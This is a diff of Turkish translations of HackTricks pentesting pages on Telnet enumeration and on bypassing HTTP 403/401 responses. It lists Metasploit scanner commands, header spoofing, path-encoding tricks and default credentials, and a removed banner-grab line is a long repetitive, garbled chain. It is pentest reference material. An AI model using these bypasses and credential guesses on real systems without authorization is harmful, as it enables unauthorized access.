numaralandırmanın mümkün olduğunu biliyorum ama nasıl yapılacağını bilmiyorum, bu yüzden biliyorsanız bana bildirin.** -### [Brute force](../generic-methodologies-and-resources/brute-force.md#telnet) +### [Kaba kuvvet](../generic-methodologies-and-resources/brute-force.md#telnet) ## Yapılandırma dosyası ```bash @@ -55,19 +53,6 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 /etc/xinetd.d/stelnet ``` ## HackTricks Otomatik Komutları - -The following commands can be used to automate telnet sessions: - -Aşağıdaki komutlar, telnet oturumlarını otomatikleştirmek için kullanılabilir: - -### Basic Commands - -#### Banner Grabbing - -#### Banner Yakalama - -```bash -(echo open ; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo " "; sleep 1; echo ``` Protocol_Name: Telnet #Protocol Abbreviation if there is one. Port_Number: 23 #Comma separated if there is more than one. @@ -99,22 +84,22 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit' ``` -
+
-**Hemen kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. Keşiften raporlamaya kadar 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın. Pentesterları değiştirmiyoruz - özel araçlar, tespit ve sömürü modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar. +**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. Keşiften raporlamaya kadar giden 20'den fazla araç ve özellikle herhangi bir yerden tam bir pentest çalıştırın. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar. {% embed url="https://pentest-tools.com/" %}
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın(https://github.com/sponsors/carlospolop)! +* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) +* [**The PEASS Family**]'yi keşfedin(https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/network-services-pentesting/pentesting-web/403-and-401-bypasses.md index 825e33626..998b29eec 100644 --- a/network-services-pentesting/pentesting-web/403-and-401-bypasses.md +++ b/network-services-pentesting/pentesting-web/403-and-401-bypasses.md @@ -2,21 +2,21 @@
-AWS hacklemeyi sıfırdan kahramanlık seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**. -* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. +* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
-
+
-**Hemen kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. Keşiften raporlamaya kadar 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın. Pentester'ları değiştirmiyoruz - onlara daha derine kazma, kabuk patlatma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz. +**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar. {% embed url="https://pentest-tools.com/" %} @@ -24,15 +24,15 @@ HackTricks'ı desteklemenin diğer yolları: Dosyaya erişmek için **farklı fiilleri** deneyin: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK` -* Yanıt başlıklarını kontrol edin, belki bazı bilgiler verilebilir. Örneğin, `Content-Length: 55` ile **HEAD** için **200 yanıtı**, **HEAD fiilinin bilgiye erişebileceğini** gösterir. Ancak hala o bilgiyi dışarı çıkarmanın bir yolunu bulmanız gerekmektedir. -* `X-HTTP-Method-Override: PUT` gibi bir HTTP başlığı kullanarak kullanılan fiili üzerine yazabilirsiniz. -* **`TRACE`** fiilini kullanın ve çok şanslıysanız, yanıtta belki de yararlı olabilecek **ara proxy'ler tarafından eklenen başlıkları** görebilirsiniz. +* Yanıt başlıklarını kontrol edin, belki bazı bilgiler verilebilir. Örneğin, `Content-Length: 55` ile **HEAD fiiline 200 yanıtı** dosyaya erişebileceğini gösterir. Ancak yine de o bilgiyi dışarı çıkarmanın bir yolunu bulmanız gerekebilir. +* `X-HTTP-Method-Override: PUT` gibi bir HTTP başlığı kullanarak kullanılan fiili değiştirebilirsiniz. +* **`TRACE`** fiilini kullanın ve çok şanslıysanız belki yanıtta ayrıca **ara proxy'ler tarafından eklenen başlıkları** görebilirsiniz ki bu faydalı olabilir. ## HTTP Başlıkları Fuzzing -* **Host başlığını** rastgele bir değere değiştirin ([burada işe yaradı](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) -* Kaynağa erişmek için [**diğer Kullanıcı Ajanlarını**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) deneyin. -* **HTTP Başlıklarını Fuzzlayın**: HTTP Proxy **Başlıklarını**, HTTP Kimlik Doğrulama Temel ve NTLM brute-force (sadece birkaç kombinasyonla) ve diğer teknikleri deneyin. Bunları yapmak için [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) adlı aracı oluşturdum. +* **Host başlığını** rastgele bir değere değiştirin ([burada işe yarayan](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) +* Kaynağa erişmek için [**başka Kullanıcı Ajanları**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) kullanmayı deneyin. +* **HTTP Başlıklarını Fuzzlayın**: HTTP Proxy **Başlıklarını**, HTTP Kimlik Doğrulama Temel ve NTLM brute-force (sadece birkaç kombinasyonla) ve diğer teknikleri deneyin. Bunun için [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) adlı aracı oluşturdum. * `X-Originating-IP: 127.0.0.1` * `X-Forwarded-For: 127.0.0.1` @@ -48,23 +48,23 @@ Dosyaya erişmek için **farklı fiilleri** deneyin: `GET, HEAD, POST, PUT, DELE * `X-ProxyUser-Ip: 127.0.0.1` * `Host: localhost` -Eğer **yol korumalıysa**, bu diğer başlıkları kullanarak yol korumasını atlatmayı deneyebilirsiniz: +Eğer **yol korumalıysa** bu diğer başlıkları kullanarak yol korumasını atlatmayı deneyebilirsiniz: * `X-Original-URL: /admin/console` * `X-Rewrite-URL: /admin/console` -* Sayfa **bir proxy arkasında** ise, belki de özel bilgilere erişmenizi engelleyen proxy'dir. [**HTTP İstek Smuggling**](../../pentesting-web/http-request-smuggling/) **veya** [**hop-by-hop başlıklarını**](../../pentesting-web/abusing-hop-by-hop-headers.md)**** kötüye kullanmayı deneyin. -* Farklı yanıt arayan [**özel HTTP başlıklarını**](special-http-headers.md) fuzzlayın. -* **HTTP Fiillerini** fuzzlarken [**özel HTTP başlıklarını**](special-http-headers.md) fuzzlayın. -* **Host başlığını kaldırın** ve korumayı atlayabilirsiniz. +* Sayfa **bir proxy arkasında** ise, belki de özel bilgilere erişmenizi engelleyen proxy'dir. [**HTTP İstek Kaçırma**](../../pentesting-web/http-request-smuggling/) **veya** [**hop-by-hop başlıkları**](../../pentesting-web/abusing-hop-by-hop-headers.md)**'nı** kötüye kullanmayı deneyin. +* Farklı yanıtlar aramak için [**özel HTTP başlıklarını**](special-http-headers.md) Fuzzlayın. +* **HTTP Metotlarını** Fuzzlarken **özel HTTP başlıklarını** Fuzzlayın. +* **Host başlığını kaldırın** ve belki korumayı atlayabilirsiniz. ## Yol Fuzzing -Eğer _/path_ engellenmişse: +Eğer _/yol_ engellenmişse: -* _**/**_**%2e/path_ kullanmayı deneyin (erişim bir proxy tarafından engelleniyorsa, bu korumayı atlayabilir). Ayrıca **\_\*\* /%252e\*\*/path** (çift URL kodlaması) deneyin -* **Unicode atlatma** deneyin: _/**%ef%bc%8f**path_ (URL kodlanmış karakterler "/") bu yüzden kodlandığında _//path_ olacak ve belki de _/path_ adı kontrolünü atlamış olabilirsiniz +* _**/**_**%2e/path_ kullanmayı deneyin (erişim bir proxy tarafından engelleniyorsa, bu korumayı atlayabilir). Ayrıca **\_\*\* /%252e\*\*/path (çift URL kodlamasıyla) deneyin +* **Unicode atlatması** deneyin: _/**%ef%bc%8f**path_ (URL kodlanmış karakterler "/") böylece kodlandığında _//path_ olacak ve belki de _/path_ adını zaten atlatmış olabilirsiniz * **Diğer yol atlatmaları**: -* site.com/secret –> HTTP 403 Yasak +* site.com/secret –> HTTP 403 Yasaklandı * site.com/SECRET –> HTTP 200 Tamam * site.com/secret/ –> HTTP 200 Tamam * site.com/secret/. –> HTTP 200 Tamam @@ -74,12 +74,12 @@ Eğer _/path_ engellenmişse: * site.com/.;/secret –> HTTP 200 Tamam * site.com//;//secret –> HTTP 200 Tamam * site.com/secret.json –> HTTP 200 Tamam (ruby) -* Tüm [**bu liste**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) kullanarak aşağıdaki durumlarda: +* Tüm [**bu listeyi**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) aşağıdaki durumlarda kullanın: * /FUZZsecret * /FUZZ/secret * /secretFUZZ * **Diğer API atlatmaları:** -* /v3/users\_data/1234 --> 403 Yasak +* /v3/users\_data/1234 --> 403 Yasaklandı * /v1/users\_data/1234 --> 200 Tamam * {“id”:111} --> 401 Yetkisiz * {“id”:\[111]} --> 200 Tamam @@ -94,23 +94,23 @@ Eğer _/path_ engellenmişse: * Parametreleri kaldırın * Parametreleri yeniden sıralayın * Özel karakterler kullanın. -* Parametrelerde sınırları test edin - _-234_ veya _0_ veya _99999999_ gibi değerler sağlayın (sadece bazı örnek değerler). +* Parametrelerde sınır testi yapın - _-234_ veya _0_ veya _99999999_ gibi değerler sağlayın (sadece bazı örnek değerler). ## **Protokol Sürümü** -Eğer HTTP/1.1 kullanılıyorsa, **1.0** kullanmayı deneyin veya hatta **2.0**'ı destekleyip desteklemediğini test edin. +Eğer HTTP/1.1 kullanılıyorsa **1.0 kullanmayı deneyin** veya hatta **2.0'yı destekleyip desteklemediğini test edin**. ## **Diğer Geçişler** -* Alan adının **IP** veya **CNAME**'sini alın ve doğrudan iletişim kurmayı deneyin. -* Sunucuyu zorlamak için yaygın GET istekleri göndermeyi deneyin ([Bu kişi için Facebook'ta işe yaradı](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)). +* Alan adının **IP** veya **CNAME**'sini alın ve **doğrudan iletişime geçmeyi** deneyin. +* Sunucuyu **zorlamayı** deneyin, yaygın GET istekleri göndererek ([Bu adam için Facebook'ta işe yaradı](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)). * **Protokolü değiştirin**: http'den https'ye veya https'den http'ye * [**https://archive.org/web/**](https://archive.org/web/) adresine gidin ve geçmişte o dosyanın **dünya çapında erişilebilir** olup olmadığını kontrol edin. -## **Brute Force** +## **Kaba Kuvvet** -* **Şifreyi tahmin edin**: Aşağıdaki yaygın kimlik bilgilerini deneyin. Kurban hakkında bir şeyler biliyor musunuz? Veya CTF meydan okuması adı hakkında bir şeyler? -* [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Temel, digest ve NTLM kimlik doğrulamasını deneyin. +* **Şifreyi tahmin edin**: Aşağıdaki yaygın kimlik bilgilerini deneyin. Kurban hakkında bir şey biliyor musunuz? Veya CTF meydan okuma adını mı biliyorsunuz? +* [**Kaba kuvvet**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Temel, digest ve NTLM kimlik doğrulamasını deneyin. {% code title="Yaygın kimlik bilgileri" %} ``` @@ -123,8 +123,6 @@ root toor test test guest guest ``` -{% endcode %} - ## Otomatik Araçlar * [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx) @@ -133,22 +131,22 @@ guest guest * [Burp Eklentisi - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122) * [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster) -
+
-**Hemen kullanıma hazır zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle birlikte her yerden tam bir pentest çalıştırın. Bu araçlar ve modüller, pentesterları değiştirmiyor - onlara daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazandırmak için özel olarak geliştirilmiştir. +**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - onlara daha derine kazma, kabukları patlatma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz. {% embed url="https://pentest-tools.com/" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'yi desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip 